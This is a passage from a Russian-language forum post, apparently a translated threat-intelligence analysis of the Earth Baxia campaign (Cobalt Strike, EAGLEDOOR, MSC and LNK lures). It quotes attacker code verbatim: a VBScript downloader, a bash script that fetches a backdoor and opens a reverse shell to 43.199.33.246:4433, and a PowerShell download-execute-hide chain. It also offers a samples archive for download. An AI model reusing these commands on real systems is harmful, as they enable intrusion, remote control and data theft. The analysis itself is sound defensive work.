strDownloadPath3 = "C:\Users\Public\Music\music.txt"
strShowfilePath = "C:\Users\Public\proton.mp4"
strExecutablePath = "C:\Users\Public\Music\musicx.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
    DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
    DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1 ' adTypeBinary
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

Внутри ZIP-файла (guizhou.zip, SHA256: 0ba468400dd88b6dbe96407cb104f28876adb62805689d97de5d2650770ff39c), отправленного по электронной почте, содержащего файл 贵州电视台张青副台长腐败内部视频证据.msc, также присутствует файл 贵州电视台内部领导张青副台长腐败内幕.docx, который мы видим ниже:

76e9461b.jpg
f50a7123.jpg


Другие кампании в апреле и мае 2024 года​

Анализ третьей стадии Marte Beacon с Cobalt Strike позволил связать злоумышленника с тремя другими кампаниями, запущенными между апрелем и маем:
  • 27 апреля 2024 (Филиппины)
  • 7 мая 2024 (Филиппины)
  • 17 мая 2024 (Вьетнам)
Эти кампании не использовали MSC файлы для распространения. Marte Beacon с Cobalt Strike можно было обнаружить по следующему URL: http://43.199.33[.]246:443/payload.bin

При анализе IP 43.199.33[.]246 кампания 27 апреля была обнаружена через исполняемый файл с именем x1ffjiqd.exe, который загружал и выполнял следующие файлы:
  • http://43.199.33[.]246:443/payload.bin
  • http://43.199.33[.]246:443/example.pdf
Файл payload.bin является Marte Beacon с Cobalt Strike с C2-сервером visualstudio-microsoft[.]com и портом 443.

В кампании 27 апреля использовалась следующая приманка:

b4e3f4ed.jpg
93b116d4.jpg


А 7 мая такая:

93e7a800.jpg


В кампании 17 мая использовалась следующая приманка с именем example.docx:

a61224b1.jpg
264c6237.jpg


IP-адрес 43.199.33[.]246 также связан с ELF файлом (Linux), который загружает бэкдор, как мы можем видеть из фрагмента кода ниже:

Bash:
whoami > /tmp/test
curl -o /tmp/google_usb_ssh -s https[:]//xianggang000[.]oss-cn-hongkong[.]aliyuncs[.]com/linshi/grrond
chmod 777 /tmp/google_usb_ssh
/tmp/google_usb_ssh
rm /tmp/google_usb_ssh
bash -i >& /dev/tcp/43[.]199[.]33[.]246/4433 0>&1
wget https[:]//download[.]chrorne[.]com/error.logs
gedit error.logs
/dev/null -c /bin/sh

Киберпреступнику, вероятно, нужно было атаковать цель с ОС Linux. Этот bash-скрипт похож по поведению на скрипт VisualBasic, используемый внутри MSC файлов для Windows. В данном случае приманкой является отображение сообщения электронной почты, содержащегося в файле error.logs.

******

Анализ бэкдора​

Cobalt Strike​

Earth Baxia использует DLL side-loading для выполнения шелл-кода Cobalt Strike (Рисунок 6). Для обхода защиты загрузчик шелл-кода, известный как "SWORDLDR", расшифровывает полезную нагрузку и внедряет её в указанный процесс согласно встроенной конфигурации (Рисунок 7).

d940ce95.png

Рисунок 6. Расшифрованный шелл-код

fff29d36.png

Рисунок 7. Последовательность выполнения компонентов Cobalt Strike

Внедренный шелл-код представляет собой модифицированную версию Cobalt Strike. В отличие от стандартной полезной нагрузки Cobalt Strike, в модифицированной версии удален MZ-заголовок и изменены внутренние сигнатуры (Рисунок 8). Кроме того, структура конфигурации также была слегка изменена (Рисунок 9).

5e1a1ed6.png

Рисунок 8. Различия в заголовках между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike

3f4dbe16.png

Рисунок 9. Различия в структурах конфигурации между стандартной (слева) и модифицированной (справа) версиями Cobalt Strike

EAGLEDOOR​

На стороне жертвы были собраны следующие наборы образцов:
  • Systemsetting.dll (загрузчик EAGLEDOOR)
  • Systemsetting.exe
Эти образцы являются компонентами EAGLEDOOR, которые были загружены и запущены ранее упомянутым процессом Cobalt Strike.

Злоумышленники применяют DLL side-loading для запуска загрузчика и выполнения EAGLEDOOR в памяти. В загрузчике находятся два зашифрованных DLL-файла в секции .data:

Hook.dll​

Это модуль для перехвата определенного API с экспортируемой функцией MyCreateHook, предназначенный для перехвата часто вызываемых API (Рисунок 10). Когда происходит вызов перехваченного API, выполняется вредоносный модуль Eagle.dll.

9db0f31f.png

Рисунок 10. Загрузчик применяет hook.dll для перехвата API-функций GetProcAddress, FreeLibrary и LdrUnloadDll

Eagle.dll​

Последовательность выполнения кода при запуске Eagle.dll показана ниже. Загрузчик расшифровывает этот модуль и выполняет первую экспортируемую функцию RunEagle в памяти (Рисунок 11).

809e2bb4.png

Рисунок 11. Последовательность кода для запуска Eagle.dll в загрузчике

EAGLEDOOR поддерживает четыре метода коммуникации с C&C-сервером:
  • DNS
  • HTTP
  • TCP
  • Telegram
При анализе было выявлено, что протоколы TCP, HTTP и DNS используются для отправки статуса машины-жертвы на C&C-сервер. Основной функционал бэкдора реализуется через протокол Telegram посредством Bot API, используя следующие методы:
  • getFile
  • getUpdates
  • sendDocument
  • sendMessage
Эти методы эффективны для сбора информации, доставки файлов и выполнения следующей полезной нагрузки в системе жертвы. Однако в данном случае на стороне жертвы были собраны образцы, связанные только с протоколами TCP и HTTP.

Эксфильтрация​

Было обнаружено, что Earth Baxia архивирует собранные данные и осуществляет эксфильтрацию украденных данных с помощью curl.exe. Рисунок 12 демонстрирует случай эксфильтрации данных на их файловый сервер 152[.]42[.]243[.]170 посредством curl.

6a3113df.png

Рисунок 12. Процесс эксфильтрации с помощью curl.exe

Дополнительные наблюдения​

Большинство фишинговых писем привлекают пользователей с помощью вложения. Однако, согласно телеметрии TrendMicro, некоторые фишинговые письма отправляются с фишинговой ссылкой, которая загружает ZIP-файл. На данный момент известно о четырех комбинациях на стадии первоначального доступа, как показано на Рисунке 13. Как файл MSC, так и файл LNK способны доставлять оба набора инструментов.

232287c3.png

Рисунок 13. Известные комбинации при первоначальном доступе

В ходе расследования был найден сайт загрузки static[.]krislab[.]site в LNK-файле. Он выполняет PowerShell-команду для загрузки документов-приманок и Cobalt Strike, который включает Edge.exe, msedge.dll и Logs.txt (Таблица 3). Этот набор инструментов аналогичен тому, который был упомянут ранее.

Каждый zip-файл содержит LNK-файл с PowerShell-командой:

Код:
wget -Uri https://static.krislab.site/infodata/msedge.dll -OutFile C:\Users\Public\msedge.dll; wget -Uri http s://static.krislab.site/infodata/Logs.txt -OutFile C:\Users\Public\Logs.txt;wget -Uri https://static.krislab.site/infoda ta/Edge.exe -OutFile C:\Users\Public\Edge.exe;C:\Users\Public\Edge.exe;wget -Uri "https://static.krislab.site/infodata/yn.pdf" -OutFile "C:\Users\Public\邀請函.pdf";C:\Windows\System32\cmd.exe /c start /b "C:\Users\Public\邀請函.pdf";attrib +s +h C:\Users\Public\Edge.exe;attrib +s +h C:\Users\Public\Logs.txt;attrib +s +h C:\Users\Public\msedge.dll


Дата обнаруженияПутьОписание файла
Июнь 21, 2024
/infodata/Invitation1017.zip
/infodata/Edge.exe
/infodata/msedge.dll
/infodata/Logs.txt
/infodata/tw.pdf
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Документ-приманка
Июнь 25, 2024/infodata/break_1/06.pdfДокумент-приманка
Июнь 30, 2024
/infodata/Invitation0630.zip
/infodata/Edge.exe
/infodata/msedge.dll
/infodata/Logs.txt
/infodata/yn.pdf
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Документ-приманка
Июль 2, 2024
/infodata/Invitation0702.zip
/infodata/Edge.exe
/infodata/msedge.dll
/infodata/Logs.txt
/infodata/hzm.pdf
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Документ-приманка
Август 15, 2024
/infodata/Edge.exe
/infodata/msedge.dll
/infodata/Logs.txt
/infodata/k1.pdf
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Набор инструментов Cobalt Strike
Документ-приманка
Таблица 3. Файлы, размещенные на static[.]krislab[.]site

Семплы​

Семплы можно скачать здесь. Пароль местный.
 

Вложения

  • samples.zip
    845.6 КБ · Просмотры: 13
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх